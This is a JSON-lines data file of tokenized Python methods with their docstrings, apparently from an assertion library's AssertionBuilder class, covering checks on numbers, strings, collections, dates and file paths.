{"signature": "def is_not_zero(self):", "body": "self._validate_number()<EOL>return self.is_not_equal_to(<NUM_LIT:0>)<EOL>", "docstring": "Asserts that val is numeric and not equal to zero.", "id": "f9307:c0:m27"}
{"signature": "def is_nan(self):", "body": "self._validate_number()<EOL>self._validate_real()<EOL>if not math.isnan(self.val):<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is real number and NaN (not a number).", "id": "f9307:c0:m28"}
{"signature": "def is_not_nan(self):", "body": "self._validate_number()<EOL>self._validate_real()<EOL>if math.isnan(self.val):<EOL><INDENT>self._err('<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is real number and not NaN (not a number).", "id": "f9307:c0:m29"}
{"signature": "def is_inf(self):", "body": "self._validate_number()<EOL>self._validate_real()<EOL>if not math.isinf(self.val):<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is real number and Inf (infinity).", "id": "f9307:c0:m30"}
{"signature": "def is_not_inf(self):", "body": "self._validate_number()<EOL>self._validate_real()<EOL>if math.isinf(self.val):<EOL><INDENT>self._err('<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is real number and not Inf (infinity).", "id": "f9307:c0:m31"}
{"signature": "def is_greater_than(self, other):", "body": "self._validate_compareable(other)<EOL>if self.val <= other:<EOL><INDENT>if type(self.val) is datetime.datetime:<EOL><INDENT>self._err('<STR_LIT>' % (self.val.strftime('<STR_LIT>'), other.strftime('<STR_LIT>')))<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, other))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is numeric and is greater than other.", "id": "f9307:c0:m32"}
{"signature": "def is_greater_than_or_equal_to(self, other):", "body": "self._validate_compareable(other)<EOL>if self.val < other:<EOL><INDENT>if type(self.val) is datetime.datetime:<EOL><INDENT>self._err('<STR_LIT>' % (self.val.strftime('<STR_LIT>'), other.strftime('<STR_LIT>')))<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, other))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is numeric and is greater than or equal to other.", "id": "f9307:c0:m33"}
{"signature": "def is_less_than(self, other):", "body": "self._validate_compareable(other)<EOL>if self.val >= other:<EOL><INDENT>if type(self.val) is datetime.datetime:<EOL><INDENT>self._err('<STR_LIT>' % (self.val.strftime('<STR_LIT>'), other.strftime('<STR_LIT>')))<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, other))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is numeric and is less than other.", "id": "f9307:c0:m34"}
{"signature": "def is_less_than_or_equal_to(self, other):", "body": "self._validate_compareable(other)<EOL>if self.val > other:<EOL><INDENT>if type(self.val) is datetime.datetime:<EOL><INDENT>self._err('<STR_LIT>' % (self.val.strftime('<STR_LIT>'), other.strftime('<STR_LIT>')))<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, other))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is numeric and is less than or equal to other.", "id": "f9307:c0:m35"}
{"signature": "def is_positive(self):", "body": "return self.is_greater_than(<NUM_LIT:0>)<EOL>", "docstring": "Asserts that val is numeric and greater than zero.", "id": "f9307:c0:m36"}
{"signature": "def is_negative(self):", "body": "return self.is_less_than(<NUM_LIT:0>)<EOL>", "docstring": "Asserts that val is numeric and less than zero.", "id": "f9307:c0:m37"}
{"signature": "def is_between(self, low, high):", "body": "val_type = type(self.val)<EOL>self._validate_between_args(val_type, low, high)<EOL>if self.val < low or self.val > high:<EOL><INDENT>if val_type is datetime.datetime:<EOL><INDENT>self._err('<STR_LIT>' % (self.val.strftime('<STR_LIT>'), low.strftime('<STR_LIT>'), high.strftime('<STR_LIT>')))<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, low, high))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is numeric and is between low and high.", "id": "f9307:c0:m38"}
{"signature": "def is_not_between(self, low, high):", "body": "val_type = type(self.val)<EOL>self._validate_between_args(val_type, low, high)<EOL>if self.val >= low and self.val <= high:<EOL><INDENT>if val_type is datetime.datetime:<EOL><INDENT>self._err('<STR_LIT>' % (self.val.strftime('<STR_LIT>'), low.strftime('<STR_LIT>'), high.strftime('<STR_LIT>')))<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, low, high))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is numeric and is between low and high.", "id": "f9307:c0:m39"}
{"signature": "def is_close_to(self, other, tolerance):", "body": "self._validate_close_to_args(self.val, other, tolerance)<EOL>if self.val < (other-tolerance) or self.val > (other+tolerance):<EOL><INDENT>if type(self.val) is datetime.datetime:<EOL><INDENT>tolerance_seconds = tolerance.days * <NUM_LIT> + tolerance.seconds + tolerance.microseconds / <NUM_LIT><EOL>h, rem = divmod(tolerance_seconds, <NUM_LIT>)<EOL>m, s = divmod(rem, <NUM_LIT>)<EOL>self._err('<STR_LIT>' % (self.val.strftime('<STR_LIT>'), other.strftime('<STR_LIT>'), h, m, s))<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, other, tolerance))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is numeric and is close to other within tolerance.", "id": "f9307:c0:m40"}
{"signature": "def is_not_close_to(self, other, tolerance):", "body": "self._validate_close_to_args(self.val, other, tolerance)<EOL>if self.val >= (other-tolerance) and self.val <= (other+tolerance):<EOL><INDENT>if type(self.val) is datetime.datetime:<EOL><INDENT>tolerance_seconds = tolerance.days * <NUM_LIT> + tolerance.seconds + tolerance.microseconds / <NUM_LIT><EOL>h, rem = divmod(tolerance_seconds, <NUM_LIT>)<EOL>m, s = divmod(rem, <NUM_LIT>)<EOL>self._err('<STR_LIT>' % (self.val.strftime('<STR_LIT>'), other.strftime('<STR_LIT>'), h, m, s))<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, other, tolerance))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is numeric and is not close to other within tolerance.", "id": "f9307:c0:m41"}
{"signature": "def is_equal_to_ignoring_case(self, other):", "body": "if not isinstance(self.val, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if not isinstance(other, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if self.val.lower() != other.lower():<EOL><INDENT>self._err('<STR_LIT>' % (self.val, other))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is case-insensitive equal to other.", "id": "f9307:c0:m42"}
{"signature": "def contains_ignoring_case(self, *items):", "body": "if len(items) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if isinstance(self.val, str_types):<EOL><INDENT>if len(items) == <NUM_LIT:1>:<EOL><INDENT>if not isinstance(items[<NUM_LIT:0>], str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if items[<NUM_LIT:0>].lower() not in self.val.lower():<EOL><INDENT>self._err('<STR_LIT>' % (self.val, items[<NUM_LIT:0>]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>missing = []<EOL>for i in items:<EOL><INDENT>if not isinstance(i, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if i.lower() not in self.val.lower():<EOL><INDENT>missing.append(i)<EOL><DEDENT><DEDENT>if missing:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(items), self._fmt_items(missing)))<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(self.val, Iterable):<EOL><INDENT>missing = []<EOL>for i in items:<EOL><INDENT>if not isinstance(i, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>found = False<EOL>for v in self.val:<EOL><INDENT>if not isinstance(v, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if i.lower() == v.lower():<EOL><INDENT>found = True<EOL>break<EOL><DEDENT><DEDENT>if not found:<EOL><INDENT>missing.append(i)<EOL><DEDENT><DEDENT>if missing:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(items), self._fmt_items(missing)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is string and contains the given item or items.", "id": "f9307:c0:m43"}
{"signature": "def starts_with(self, prefix):", "body": "if prefix is None:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if isinstance(self.val, str_types):<EOL><INDENT>if not isinstance(prefix, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(prefix) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not self.val.startswith(prefix):<EOL><INDENT>self._err('<STR_LIT>' % (self.val, prefix))<EOL><DEDENT><DEDENT>elif isinstance(self.val, Iterable):<EOL><INDENT>if len(self.val) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>first = next(iter(self.val))<EOL>if first != prefix:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, prefix))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is string or iterable and starts with prefix.", "id": "f9307:c0:m44"}
{"signature": "def ends_with(self, suffix):", "body": "if suffix is None:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if isinstance(self.val, str_types):<EOL><INDENT>if not isinstance(suffix, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(suffix) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not self.val.endswith(suffix):<EOL><INDENT>self._err('<STR_LIT>' % (self.val, suffix))<EOL><DEDENT><DEDENT>elif isinstance(self.val, Iterable):<EOL><INDENT>if len(self.val) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>last = None<EOL>for last in self.val:<EOL><INDENT>pass<EOL><DEDENT>if last != suffix:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, suffix))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is string or iterable and ends with suffix.", "id": "f9307:c0:m45"}
{"signature": "def matches(self, pattern):", "body": "if not isinstance(self.val, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if not isinstance(pattern, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(pattern) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if re.search(pattern, self.val) is None:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, pattern))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is string and matches regex pattern.", "id": "f9307:c0:m46"}
{"signature": "def does_not_match(self, pattern):", "body": "if not isinstance(self.val, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if not isinstance(pattern, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(pattern) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if re.search(pattern, self.val) is not None:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, pattern))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is string and does not match regex pattern.", "id": "f9307:c0:m47"}
{"signature": "def is_alpha(self):", "body": "if not isinstance(self.val, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(self.val) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not self.val.isalpha():<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is non-empty string and all characters are alphabetic.", "id": "f9307:c0:m48"}
{"signature": "def is_digit(self):", "body": "if not isinstance(self.val, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(self.val) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not self.val.isdigit():<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is non-empty string and all characters are digits.", "id": "f9307:c0:m49"}
{"signature": "def is_lower(self):", "body": "if not isinstance(self.val, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(self.val) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if self.val != self.val.lower():<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is non-empty string and all characters are lowercase.", "id": "f9307:c0:m50"}
{"signature": "def is_upper(self):", "body": "if not isinstance(self.val, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(self.val) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if self.val != self.val.upper():<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is non-empty string and all characters are uppercase.", "id": "f9307:c0:m51"}
{"signature": "def is_unicode(self):", "body": "if type(self.val) is not unicode:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, type(self.val).__name__))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is a unicode string.", "id": "f9307:c0:m52"}
{"signature": "def is_iterable(self):", "body": "if not isinstance(self.val, Iterable):<EOL><INDENT>self._err('<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is iterable collection.", "id": "f9307:c0:m53"}
{"signature": "def is_not_iterable(self):", "body": "if isinstance(self.val, Iterable):<EOL><INDENT>self._err('<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is not iterable collection.", "id": "f9307:c0:m54"}
{"signature": "def is_subset_of(self, *supersets):", "body": "if not isinstance(self.val, Iterable):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(supersets) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>missing = []<EOL>if hasattr(self.val, '<STR_LIT>') and callable(getattr(self.val, '<STR_LIT>')) and hasattr(self.val, '<STR_LIT>'):<EOL><INDENT>superdict = {}<EOL>for l,j in enumerate(supersets):<EOL><INDENT>self._check_dict_like(j, check_values=False, name='<STR_LIT>' % (l+<NUM_LIT:1>))<EOL>for k in j.keys():<EOL><INDENT>superdict.update({k: j[k]})<EOL><DEDENT><DEDENT>for i in self.val.keys():<EOL><INDENT>if i not in superdict:<EOL><INDENT>missing.append({i: self.val[i]}) <EOL><DEDENT>elif self.val[i] != superdict[i]:<EOL><INDENT>missing.append({i: self.val[i]}) <EOL><DEDENT><DEDENT>if missing:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(superdict), self._fmt_items(missing), '<STR_LIT>' if len(missing) == <NUM_LIT:1> else '<STR_LIT>'))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>superset = set()<EOL>for j in supersets:<EOL><INDENT>try:<EOL><INDENT>for k in j:<EOL><INDENT>superset.add(k)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>superset.add(j)<EOL><DEDENT><DEDENT>for i in self.val:<EOL><INDENT>if i not in superset:<EOL><INDENT>missing.append(i)<EOL><DEDENT><DEDENT>if missing:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(superset), self._fmt_items(missing), '<STR_LIT>' if len(missing) == <NUM_LIT:1> else '<STR_LIT>'))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is iterable and a subset of the given superset or flattened superset if multiple supersets are given.", "id": "f9307:c0:m55"}
{"signature": "def contains_key(self, *keys):", "body": "self._check_dict_like(self.val, check_values=False, check_getitem=False)<EOL>return self.contains(*keys)<EOL>", "docstring": "Asserts the val is a dict and contains the given key or keys.  Alias for contains().", "id": "f9307:c0:m56"}
{"signature": "def does_not_contain_key(self, *keys):", "body": "self._check_dict_like(self.val, check_values=False, check_getitem=False)<EOL>return self.does_not_contain(*keys)<EOL>", "docstring": "Asserts the val is a dict and does not contain the given key or keys.  Alias for does_not_contain().", "id": "f9307:c0:m57"}
{"signature": "def contains_value(self, *values):", "body": "self._check_dict_like(self.val, check_getitem=False)<EOL>if len(values) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>missing = []<EOL>for v in values:<EOL><INDENT>if v not in self.val.values():<EOL><INDENT>missing.append(v)<EOL><DEDENT><DEDENT>if missing:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(values), self._fmt_items(missing)))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is a dict and contains the given value or values.", "id": "f9307:c0:m58"}
{"signature": "def does_not_contain_value(self, *values):", "body": "self._check_dict_like(self.val, check_getitem=False)<EOL>if len(values) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>found = []<EOL>for v in values:<EOL><INDENT>if v in self.val.values():<EOL><INDENT>found.append(v)<EOL><DEDENT><DEDENT>if found:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(values), self._fmt_items(found)))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is a dict and does not contain the given value or values.", "id": "f9307:c0:m59"}
{"signature": "def contains_entry(self, *args, **kwargs):", "body": "self._check_dict_like(self.val, check_values=False)<EOL>entries = list(args) + [{k:v} for k,v in kwargs.items()]<EOL>if len(entries) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>missing = []<EOL>for e in entries:<EOL><INDENT>if type(e) is not dict:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(e) != <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>k = next(iter(e))<EOL>if k not in self.val:<EOL><INDENT>missing.append(e) <EOL><DEDENT>elif self.val[k] != e[k]:<EOL><INDENT>missing.append(e) <EOL><DEDENT><DEDENT>if missing:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(entries), self._fmt_items(missing)))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is a dict and contains the given entry or entries.", "id": "f9307:c0:m60"}
{"signature": "def does_not_contain_entry(self, *args, **kwargs):", "body": "self._check_dict_like(self.val, check_values=False)<EOL>entries = list(args) + [{k:v} for k,v in kwargs.items()]<EOL>if len(entries) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>found = []<EOL>for e in entries:<EOL><INDENT>if type(e) is not dict:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(e) != <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>k = next(iter(e))<EOL>if k in self.val and e[k] == self.val[k]:<EOL><INDENT>found.append(e)<EOL><DEDENT><DEDENT>if found:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(entries), self._fmt_items(found)))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is a dict and does not contain the given entry or entries.", "id": "f9307:c0:m61"}
{"signature": "def is_before(self, other):", "body": "if type(self.val) is not datetime.datetime:<EOL><INDENT>raise TypeError('<STR_LIT>' % type(self.val).__name__)<EOL><DEDENT>if type(other) is not datetime.datetime:<EOL><INDENT>raise TypeError('<STR_LIT>' % type(other).__name__)<EOL><DEDENT>if self.val >= other:<EOL><INDENT>self._err('<STR_LIT>' % (self.val.strftime('<STR_LIT>'), other.strftime('<STR_LIT>')))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is a date and is before other date.", "id": "f9307:c0:m62"}
{"signature": "def is_after(self, other):", "body": "if type(self.val) is not datetime.datetime:<EOL><INDENT>raise TypeError('<STR_LIT>' % type(self.val).__name__)<EOL><DEDENT>if type(other) is not datetime.datetime:<EOL><INDENT>raise TypeError('<STR_LIT>' % type(other).__name__)<EOL><DEDENT>if self.val <= other:<EOL><INDENT>self._err('<STR_LIT>' % (self.val.strftime('<STR_LIT>'), other.strftime('<STR_LIT>')))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is a date and is after other date.", "id": "f9307:c0:m63"}
{"signature": "def exists(self):", "body": "if not isinstance(self.val, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if not os.path.exists(self.val):<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is a path and that it exists.", "id": "f9307:c0:m67"}
{"signature": "def does_not_exist(self):", "body": "if not isinstance(self.val, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if os.path.exists(self.val):<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is a path and that it does not exist.", "id": "f9307:c0:m68"}
{"signature": "def is_file(self):", "body": "self.exists()<EOL>if not os.path.isfile(self.val):<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is an existing path to a file.", "id": "f9307:c0:m69"}
{"signature": "def is_directory(self):", "body": "self.exists()<EOL>if not os.path.isdir(self.val):<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is an existing path to a directory.", "id": "f9307:c0:m70"}
{"signature": "def is_named(self, filename):", "body": "self.is_file()<EOL>if not isinstance(filename, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>val_filename = os.path.basename(os.path.abspath(self.val))<EOL>if val_filename != filename:<EOL><INDENT>self._err('<STR_LIT>' % (val_filename, filename))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is an existing path to a file and that file is named filename.", "id": "f9307:c0:m71"}
{"signature": "def is_child_of(self, parent):", "body": "self.is_file()<EOL>if not isinstance(parent, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>val_abspath = os.path.abspath(self.val)<EOL>parent_abspath = os.path.abspath(parent)<EOL>if not val_abspath.startswith(parent_abspath):<EOL><INDENT>self._err('<STR_LIT>' % (val_abspath, parent_abspath))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is an existing path to a file and that file is a child of parent.", "id": "f9307:c0:m72"}
{"signature": "def extracting(self, *names, **kwargs):", "body": "if not isinstance(self.val, Iterable):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if isinstance(self.val, str_types):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(names) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>def _extract(x, name):<EOL><INDENT>if self._check_dict_like(x, check_values=False, return_as_bool=True):<EOL><INDENT>if name in x:<EOL><INDENT>return x[name]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % (list(x.keys()), name))<EOL><DEDENT><DEDENT>elif isinstance(x, Iterable):<EOL><INDENT>self._check_iterable(x, name='<STR_LIT>')<EOL>return x[name]<EOL><DEDENT>elif hasattr(x, name):<EOL><INDENT>attr = getattr(x, name)<EOL>if callable(attr):<EOL><INDENT>try:<EOL><INDENT>return attr()<EOL><DEDENT>except TypeError:<EOL><INDENT>raise ValueError('<STR_LIT>' % name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return attr<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % name)<EOL><DEDENT><DEDENT>def _filter(x):<EOL><INDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>if isinstance(kwargs['<STR_LIT>'], str_types):<EOL><INDENT>return bool(_extract(x, kwargs['<STR_LIT>']))<EOL><DEDENT>elif self._check_dict_like(kwargs['<STR_LIT>'], check_values=False, return_as_bool=True):<EOL><INDENT>for k in kwargs['<STR_LIT>']:<EOL><INDENT>if isinstance(k, str_types):<EOL><INDENT>if _extract(x, k) != kwargs['<STR_LIT>'][k]:<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>return True<EOL><DEDENT>elif callable(kwargs['<STR_LIT>']):<EOL><INDENT>return kwargs['<STR_LIT>'](x)<EOL><DEDENT>return False<EOL><DEDENT>return True<EOL><DEDENT>def _sort(x):<EOL><INDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>if isinstance(kwargs['<STR_LIT>'], str_types):<EOL><INDENT>return _extract(x, kwargs['<STR_LIT>'])<EOL><DEDENT>elif isinstance(kwargs['<STR_LIT>'], Iterable):<EOL><INDENT>items = []<EOL>for k in kwargs['<STR_LIT>']:<EOL><INDENT>if isinstance(k, str_types):<EOL><INDENT>items.append(_extract(x, k))<EOL><DEDENT><DEDENT>return tuple(items)<EOL><DEDENT>elif callable(kwargs['<STR_LIT>']):<EOL><INDENT>return kwargs['<STR_LIT>'](x)<EOL><DEDENT><DEDENT>return <NUM_LIT:0><EOL><DEDENT>extracted = []<EOL>for i in sorted(self.val, key=lambda x: _sort(x)):<EOL><INDENT>if _filter(i):<EOL><INDENT>items = [_extract(i, name) for name in names]<EOL>extracted.append(tuple(items) if len(items) > <NUM_LIT:1> else items[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>return AssertionBuilder(extracted, self.description, self.kind)<EOL>", "docstring": "Asserts that val is collection, then extracts the named properties or named zero-arg methods into a list (or list of tuples if multiple names are given).", "id": "f9307:c0:m73"}
{"signature": "def __getattr__(self, attr):", "body": "if not attr.startswith('<STR_LIT>'):<EOL><INDENT>raise AttributeError('<STR_LIT>' % attr)<EOL><DEDENT>attr_name = attr[<NUM_LIT:4>:]<EOL>err_msg = False<EOL>is_dict = isinstance(self.val, Iterable) and hasattr(self.val, '<STR_LIT>')<EOL>if not hasattr(self.val, attr_name):<EOL><INDENT>if is_dict:<EOL><INDENT>if attr_name not in self.val:<EOL><INDENT>err_msg = '<STR_LIT>' % (attr_name, attr_name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>err_msg = '<STR_LIT>' % (attr_name, attr_name)<EOL><DEDENT><DEDENT>def _wrapper(*args, **kwargs):<EOL><INDENT>if err_msg:<EOL><INDENT>self._err(err_msg) <EOL><DEDENT>else:<EOL><INDENT>if len(args) != <NUM_LIT:1>:<EOL><INDENT>raise TypeError('<STR_LIT>' % (attr, len(args)))<EOL><DEDENT>try:<EOL><INDENT>val_attr = getattr(self.val, attr_name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>val_attr = self.val[attr_name]<EOL><DEDENT>if callable(val_attr):<EOL><INDENT>try:<EOL><INDENT>actual = val_attr()<EOL><DEDENT>except TypeError:<EOL><INDENT>raise TypeError('<STR_LIT>' % attr_name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>actual = val_attr<EOL><DEDENT>expected = args[<NUM_LIT:0>]<EOL>if actual != expected:<EOL><INDENT>self._err('<STR_LIT>' % (actual, expected, '<STR_LIT:key>' if is_dict else '<STR_LIT>', attr_name))<EOL><DEDENT><DEDENT>return self<EOL><DEDENT>return _wrapper<EOL>", "docstring": "Asserts that val has attribute attr and that attribute's value is equal to other via a dynamic assertion of the form: has_<attr>().", "id": "f9307:c0:m74"}
{"signature": "def raises(self, ex):", "body": "if not callable(self.val):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if not issubclass(ex, BaseException):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>return AssertionBuilder(self.val, self.description, self.kind, ex)<EOL>", "docstring": "Asserts that val is callable and that when called raises the given error.", "id": "f9307:c0:m75"}
{"signature": "def when_called_with(self, *some_args, **some_kwargs):", "body": "if not self.expected:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>self.val(*some_args, **some_kwargs)<EOL><DEDENT>except BaseException as e:<EOL><INDENT>if issubclass(type(e), self.expected):<EOL><INDENT>return AssertionBuilder(str(e), self.description, self.kind)<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>' % (<EOL>self.val.__name__,<EOL>self.expected.__name__,<EOL>self._fmt_args_kwargs(*some_args, **some_kwargs),<EOL>type(e).__name__))<EOL><DEDENT><DEDENT>self._err('<STR_LIT>' % (<EOL>self.val.__name__,<EOL>self.expected.__name__,<EOL>self._fmt_args_kwargs(*some_args, **some_kwargs)))<EOL>", "docstring": "Asserts the val callable when invoked with the given args and kwargs raises the expected exception.", "id": "f9307:c0:m76"}
{"signature": "def _err(self, msg):", "body": "out = '<STR_LIT>' % ('<STR_LIT>' % self.description if len(self.description) > <NUM_LIT:0> else '<STR_LIT>', msg)<EOL>if self.kind == '<STR_LIT>':<EOL><INDENT>print(out)<EOL>return self<EOL><DEDENT>elif self.kind == '<STR_LIT>':<EOL><INDENT>global _soft_err<EOL>_soft_err.append(out)<EOL>return self<EOL><DEDENT>else:<EOL><INDENT>raise AssertionError(out)<EOL><DEDENT>", "docstring": "Helper to raise an AssertionError, and optionally prepend custom description.", "id": "f9307:c0:m77"}
